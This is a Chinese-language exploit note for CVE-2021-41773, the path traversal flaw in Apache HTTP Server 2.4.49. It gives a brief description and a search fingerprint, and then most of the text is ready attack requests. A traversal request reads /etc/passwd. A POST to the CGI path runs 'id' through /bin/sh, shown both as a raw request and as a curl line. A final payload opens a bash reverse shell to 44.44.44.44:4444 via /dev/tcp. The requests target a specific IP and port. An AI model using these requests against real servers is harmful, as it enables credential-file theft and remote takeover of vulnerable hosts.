漏洞介绍
Apache HTTP Server是一个开源、跨平台的Web服务器,它在全球范围内被广泛使用。
2021年10月5日,Apache发布更新公告,修复了Apache HTTP Server2.4.49中的一个路径遍历和文件泄露漏洞(CVE-2021-41773)。
攻击者可以通过路径遍历攻击将 URL 映射到预期文档根目录之外的文件,如果文档根目录之外的文件不受“requireall denied”访问控制参数的保护(默认禁用),则这些恶意请求就会成功。除此之外,该漏洞还可能会导致泄漏 CGI 脚本等解释文件的来源。
指纹:
app:“apache web server 2.4.49 2.4.50”
poc
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 123.58.224.8:63275
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
exp
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 123.58.224.8:63275
Content-Type: text/plain
Content-Length: 8
echo; id
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; id" "123.58.224.8:63275/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"
反弹shell
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 123.58.224.8:63275
Content-Type: text/plain
Content-Length: 50
echo; bash -c '0<&168-;exec 168<>/dev/tcp/44.44.44.44/4444;bash <&168 >&168 2>&168'